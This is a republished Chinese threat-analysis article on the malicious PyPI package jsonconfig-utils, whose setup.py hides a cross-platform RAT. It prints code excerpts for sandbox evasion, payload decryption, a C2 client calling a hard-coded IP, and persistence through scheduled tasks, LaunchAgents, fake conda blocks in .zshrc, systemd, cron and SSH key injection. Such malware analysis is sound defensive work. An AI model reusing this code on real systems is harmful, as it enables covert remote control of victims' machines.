【天问】PyPI恶意包分析:jsonconfig-utils内置RAT后门及多平台持久化

admin 2026-03-04 09:49:49 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 该文档分析了PyPI恶意包jsonconfig-utils,其伪装成JSON配置工具,在setup.py中植入完整攻击链。攻击者利用多重反沙箱检测规避自动化分析,解密并部署跨平台RAT后门,针对Windows、macOS和Linux实施差异化持久化策略,包括SSH密钥注入和仿冒系统服务,实现对受害主机的隐蔽远程控制。 综合评分: 93 文章分类: 恶意软件,供应链安全,逆向分析


cover_image

【天问】PyPI 恶意包分析:jsonconfig-utils 内置 RAT 后门及多平台持久化

星图实验室 星图实验室

奇安信技术研究院

2026年3月3日 18:06 北京

天问Python供应链威胁监测模块发现 PyPI 中存在恶意包 jsonconfig-utils,该包以 JSON 配置工具为掩护,在 setup.py 中内嵌了完整攻击链。攻击者在安装阶段即可完成反沙箱检测、解密并落地 RAT(远程访问木马)载荷、以及跨平台持久化驻留,最终与 C2 服务器建立加密通信,实现对受害主机的远程控制。

“天问”软件供应链安全分析平台是奇安信技术研究星图实验室研发的针对 Python、npm 等主流开发生态进行长期持续监测的安全分析平台。

1. 包基本信息

该包声称是”轻量级JSON配置加载器”,其主模块 jsonconfig_utils.py 中确实实现了 load_configConfigDictvalidate_schema 等功能性代码,以增强迷惑性。所有恶意逻辑均集中于 setup.py 中,在 pip install 执行 setup.py 时自动触发。

2. 恶意行为概览

setup.py├── _check()      — 反沙箱/反分析环境检测,计算置信分└── _install()    — 主攻击函数(置信分 ≥ 6 时触发)├── 解码混淆载荷(Base64 + XOR,密钥 0x5A)├── Windows  — 落地 .pyw、计划任务、注册表 Run 键├── macOS    — 落地 .py、LaunchAgent、.zshrc 注入、crontab└── Linux    — 落地 .py、systemd 服务、crontab、SSH 公钥注入(root)

解码后的载荷是一个完整的 RAT Agent,连接 C2 服务器 77[.]246.103.245:443(SSL 加密),上报系统信息并等待远程指令。

3. 反沙箱检测(_check 函数)

攻击者在 _install 执行前通过 _check() 对当前环境进行全面评估,计算一个”置信分”(_s),仅当分数 ≥ 6 时才执行后续攻击。这一机制有效规避了自动化沙箱、CI/CD 扫描器和容器环境的分析。

3.1 容器与 CI 检测

# ── Container detection ──if _sys == "Linux":for _p in ["/.dockerenv", "/run/.containerenv"]:if os.path.exists(_p): _s -= 5try:with open("/proc/1/cgroup") as _f:_cg = _f.read()if any(_k in _cg for _k in ["docker", "lxc", "kubepods"]): _s -= 5except: pass_hn = platform.node().lower()for _b in ["sandbox", "scan", "test", "build", "runner", "ci-", "worker", "job-", "temp"]:if _b in _hn: _s -= 3if os.environ.get("CI") or os.environ.get("GITHUB_ACTIONS") or os.environ.get("JENKINS_URL"):_s -= 5

每检测到容器特征或 CI 环境变量,置信分减 3~5 分,直接将沙箱环境的分数压至触发阈值以下。

3.2 硬件与系统活跃度检测

# ── Hardware ──if&nbsp;os.cpu_count() and os.cpu_count() >&nbsp;2: _s +=&nbsp;2# 系统运行时长检测(Linux/macOS/Windows 三路分支)if&nbsp;_up >&nbsp;3600: _s +=&nbsp;1if&nbsp;_up <&nbsp;300: _s -=&nbsp;3# ── User activity ──# 浏览器目录存在性检测(Chrome/Firefox/Safari/Edge)if&nbsp;any(os.path.isdir(_b) for _b in _bps): _s +=&nbsp;2# Shell 历史记录大小检测if&nbsp;os.path.exists(_hf) and os.path.getsize(_hf) >&nbsp;2000:_s&nbsp;+=&nbsp;2; breakelif&nbsp;os.path.exists(_hf) and os.path.getsize(_hf) >&nbsp;500:_s&nbsp;+=&nbsp;1; break# Desktop/Downloads 文件数量检测if&nbsp;_cnt >&nbsp;10: _s +=&nbsp;2elif&nbsp;_cnt >&nbsp;3: _s +=&nbsp;1# .gitconfig 和 SSH known_hosts 检测if&nbsp;os.path.exists(os.path.join(_home,&nbsp;".gitconfig")): _s +=&nbsp;1

3.3 云元数据服务检测

# ── Cloud metadata ──try:import&nbsp;urllib.requesturllib.request.urlopen("http[:]//169.254.169.254/latest/meta-data/", timeout=1)_s -=&nbsp;3except:&nbsp;pass

尝试访问 AWS 实例元数据服务地址(169[.]254.169.254),若可达则判断当前环境为云主机/虚拟机,置信分减 3。

4. 混淆载荷解密

_install 函数中内嵌了一段经 Base64 编码 + XOR 加密(密钥 0x5A)的载荷字符串 _E,通过如下方式解密:

_E&nbsp;=&nbsp;"UDM3KjUoLnopNTk..."&nbsp;# 省略,实际长度约 5KB_K&nbsp;=&nbsp;0x5A_d&nbsp;= bytes([b ^ _K for b in base64.b64decode(_E)])_code&nbsp;= _d.decode()

5. RAT 载荷分析

解密后的载荷实现了一个完整的远控代理(RAT Agent),核心功能如下:

5.1 C2 通信

H="77.246.103.245"P=443HB=15&nbsp;# 心跳间隔(秒)RB=5&nbsp;# 初始重连等待(秒)RM=120&nbsp;# 最大重连等待(秒)def&nbsp;sm(s,m):# 发送消息:4字节大端长度头 + JSON 数据体d=json.dumps(m).encode()s.sendall(struct.pack('>I',len(d))+d)def&nbsp;rm(s,t=45):# 接收消息:读取4字节长度头,再读取消息体(最大 10MB)...return&nbsp;json.loads(d)

代理连接固定 C2 地址 77.246.103.245:443,使用 SSL/TLS 加密通信,通过自定义的长度前缀 JSON 协议收发指令,心跳间隔 15 秒,断线后指数退避重连(最长 120 秒)。

5.2 主机信息收集与上报

def&nbsp;gi():i={"hostname":"?","username":"?","os_type":"?","os_info":"","pid":os.getpid()}try:i["hostname"]=platform.node()except:passtry:i["username"]=os.environ.get("USER",os.environ.get("USERNAME","?"))except:pass...

上线后首先上报主机名、用户名、操作系统类型及版本、当前进程 PID 等基础信息。

5.3 进程隐藏

# Windows:隐藏控制台窗口if&nbsp;platform.system()=="Windows":import&nbsp;ctypesw=ctypes.windll.kernel32.GetConsoleWindow()if&nbsp;w:ctypes.windll.user32.ShowWindow(w,0)ctypes.windll.kernel32.FreeConsole()# Linux/macOS:双 fork 守护进程化else:if&nbsp;os.fork()>0:sys.exit(0)os.setsid()if&nbsp;os.fork()>0:sys.exit(0)

在 Windows 上通过 Win32 API 隐藏控制台窗口并释放控制台;在 Unix 系统上通过经典的”双重 fork”技术使进程成为孤儿守护进程,脱离终端。


6. 多平台持久化

6.1 Windows

# 落地路径:%LOCALAPPDATA%\Microsoft\Windows\INetCache\IE\msedge_update.pyw_dir&nbsp;=&nbsp;os.path.join(os.environ.get("LOCALAPPDATA","C:\\Users\\Public"),"Microsoft","Windows","INetCache","IE")_fp&nbsp;=&nbsp;os.path.join(_dir,&nbsp;"msedge_update.pyw")with&nbsp;open(_fp,&nbsp;"w")&nbsp;as&nbsp;f:f.write(_code)# 设置隐藏+系统属性subprocess.run(["attrib","+H","+S",_fp], capture_output=True)# 时间戳伪造:对齐 cmd.exe 的时间戳_ref&nbsp;=&nbsp;os.path.join(os.environ.get("WINDIR","C:\\Windows"),"System32","cmd.exe")_st&nbsp;=&nbsp;os.stat(_ref)os.utime(_fp, (_st.st_atime, _st.st_mtime))# 计划任务(ONLOGON,最高权限)subprocess.run(["schtasks","/Create","/TN","\\Microsoft\\Windows\\WindowsUpdate\\AU_Maint","/TR",_tr,"/SC","ONLOGON","/F","/RL","HIGHEST"], capture_output=True)# 注册表&nbsp;Run&nbsp;键k=winreg.OpenKey(winreg.HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,winreg.KEY_SET_VALUE)winreg.SetValueEx(k,"NGenTask",0,winreg.REG_SZ,_tr)
  • 载荷伪装为 msedge_update.pyw(仿冒 Microsoft Edge 更新程序),存放于 INetCache 目录
  • 设置隐藏+系统文件属性,普通用户不可见
  • 时间戳对齐系统 cmd.exe,干扰取证分析
  • 双重持久化:计划任务(用户登录时以最高权限启动)+ 注册表 Run 键
  • 使用 pythonw.exe 配合 CREATE_NO_WINDOW0x08000000)标志启动,无任何可见窗口

6.2 macOS

# 落地路径:~/Library/.Caches/.com.apple.cloudd/cloudd_helper.py_dir = os.path.join(_home,"Library",".Caches",".com.apple.cloudd")_fp = os.path.join(_dir,"cloudd_helper.py")# 时间戳伪造:对齐 /usr/bin/login_ref =&nbsp;"/usr/bin/login"_st = os.stat(_ref)os.utime(_fp, (_st.st_atime, _st.st_mtime))os.utime(_dir, (_st.st_atime, _st.st_mtime))# LaunchAgent 持久化_pd = {"Label":"com.apple.icloud.cloudd","ProgramArguments":[_py,_fp],"RunAtLoad":True,"KeepAlive":{"SuccessfulExit":False},"StandardOutPath":"/dev/null","StandardErrorPath":"/dev/null"}with open(_plist,"wb") as f:plistlib.dump(_pd, f)subprocess.Popen(["launchctl","load","-w",_plist], ...)# .zshrc 注入(伪装为 conda 初始化块)_block =&nbsp;"\n# >>> conda initialize >>>\n"_block +=&nbsp;"# !! Contents within this block are managed by 'conda init' !!\n"_block += f"( {_py} {_fp} &>/dev/null & ) 2>/dev/null\n"_block +=&nbsp;"# <<< conda initialize <<<\n"# crontab 兜底_ct=_ct.rstrip()+"\n@reboot "+_py+" "+_fp+" &>/dev/null &\n"
  • 载荷伪装为 cloudd_helper.py,目录名 .com.apple.cloudd 仿冒苹果 iCloud 守护进程

  • 时间戳同步至系统 /usr/bin/login,目录时间戳也一并伪造

  • 三重持久化:LaunchAgent(系统级)+ .zshrc/.zprofile 注入 + crontab @reboot

  • .zshrc

    注入内容伪装为 Conda 初始化代码块,极难被普通用户察觉

6.3 Linux

# 落地路径(依权限)if&nbsp;_is_root:_dir&nbsp;=&nbsp;"/usr/lib/systemd/.systemd-journal-gcd"&nbsp; &nbsp;# rootelse:_dir&nbsp;= os.path.join(_home,".local","share",".systemd-cache") &nbsp;# 普通用户# 时间戳伪造:对齐 /bin/ls_ref =&nbsp;"/bin/ls"_st = os.stat(_ref)os.utime(_fp, (_st.st_atime, _st.st_mtime))os.utime(_dir, (_st.st_atime, _st.st_mtime))# SSH 公钥注入(仅 root)_pk =&nbsp;"ssh-rsa AAAAB3NzaC1yc2EAAAADAQAB...(省略)... ops"with&nbsp;open("/root/.ssh/authorized_keys","a")&nbsp;as&nbsp;f: f.write("\n"+_pk+"\n")# systemd 服务_svc =&nbsp;f"[Unit]\nDescription=Journal Storage GC\n...\n[Service]\nExecStart={_py}&nbsp;{_fp}\nRestart=always\nRestartSec=30\n..."subprocess.run(["systemctl","enable",_sn], ...)subprocess.run(["systemctl","start",_sn], ...)# crontab(重启 + 每6小时检活)_ct+="@reboot "+_py+" "+_fp+" &>/dev/null &\n"_ct+="*/360 * * * * pgrep -f "+os.path.basename(_fp)+" || "+_py+" "+_fp+" &>/dev/null &\n"# /etc/profile.d shell 劫持(仅 root)_script =&nbsp;f"#!/bin/sh\n# System locale configuration\npgrep -f&nbsp;{os.path.basename(_fp)}&nbsp;>/dev/null 2>&1 ||&nbsp;{_py}&nbsp;{_fp}&nbsp;&>/dev/null &\n"with&nbsp;open("/etc/profile.d/locale-setup.sh",&nbsp;"w")&nbsp;as&nbsp;f: f.write(_script)
  • 落地文件名 journald-gc.py(root)/ cache-gc.py(普通用户),模拟 systemd 内部组件

  • 时间戳对齐系统 /bin/ls,目录时间戳同步

  • root 专属攻击:SSH 公钥注入

    — 将攻击者 RSA 公钥(标签 ops)写入 /root/.ssh/authorized_keys,实现永久 SSH 后门,独立于 RAT 存活

  • 四重持久化:systemd 服务 + crontab(重启+定时检活)+ /etc/profile.d/locale-setup.sh 全局 shell 脚本劫持(root)

  • 文件 /etc/profile.d/locale-setup.sh 伪装为”系统区域设置配置”,任何用户登录 shell 时均会触发。

7. 攻击链总结

pip&nbsp;install jsonconfig-utils│▼setup.py 执行│├─► _check() 环境评分│ &nbsp; &nbsp;├── 容器/CI/云环境 → 减分 → 分数 <&nbsp;6&nbsp;→ 终止│ &nbsp; &nbsp;└── 真实用户主机 → 分数 ≥&nbsp;6&nbsp;→ 继续│▼_install() 触发│├─► Base64 解码 + XOR(0x5A) 解密 → RAT 源码│├─► Windows: 落地 msedge_update.pyw│ &nbsp; &nbsp;├── 计划任务 AU_Maint(ONLOGON + HIGHEST)│ &nbsp; &nbsp;├── 注册表 Run 键 NGenTask│ &nbsp; &nbsp;└── 立即以 pythonw.exe 静默启动│├─► macOS: 落地 cloudd_helper.py│ &nbsp; &nbsp;├── LaunchAgent com.apple.icloud.cloudd│ &nbsp; &nbsp;├── .zshrc/.zprofile 注入(conda 伪装)│ &nbsp; &nbsp;├── crontab&nbsp;@reboot│ &nbsp; &nbsp;└── 立即后台启动│└─► Linux: 落地 journald-gc.py / cache-gc.py├── SSH 公钥注入(root)├── systemd 服务(enable + start)├── crontab(@reboot&nbsp;+ */360min 检活)├── /etc/profile.d/locale-setup.sh(root)└── 立即 start_new_session 启动│▼RAT Agent 运行│└─► SSL 连接&nbsp;77.246.103.245:443├── 上报主机信息├── 心跳(15s)└── 等待并执行远程指令

8. 关键 IoC(失陷指标)

9. 总结

jsonconfig-utils 是一个具有较高技术水准的供应链攻击包,攻击者在其中综合运用了多种对抗分析技术和跨平台攻击手段:

  1. 伪装合法功能

    :主模块 jsonconfig_utils.py 实现了完整的 JSON 配置工具功能,以降低安全扫描工具和人工审查的警惕性。

  2. 精密反沙箱检测

    :通过容器检测、CI 检测、硬件指纹、用户行为痕迹、云元数据等多维度综合评分,仅在确认为真实用户环境时才触发攻击,有效规避自动化检测。

  3. 双重混淆载荷

    :RAT 代码经 Base64 + XOR 双重加密存储,静态特征难以识别。

  4. 跨平台攻击

    :同一个 setup.py 针对 Windows、macOS、Linux 三个平台分别实现了定制化的落地路径、持久化机制和进程隐藏方式。

  5. 多重持久化 + 时间戳伪造

    :每个平台均部署 2 种以上持久化机制互为兜底,并对落地文件的时间戳进行伪造,增加取证难度。

  6. SSH 后门(Linux root)

    :在获得 root 权限的 Linux 环境中额外注入 SSH 公钥,即使 RAT 进程被清除,攻击者仍可通过 SSH 重新进入系统。

建议用户避免安装不可信的第三方 Python 包,天问Python供应链威胁监测模块将持续对 PyPI 进行监测。

恶意包信息


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:奇安信技术研究院 星图实验室 星图实验室《【天问】PyPI 恶意包分析:jsonconfig-utils 内置 RAT 后门及多平台持久化》

评论:0   参与:  0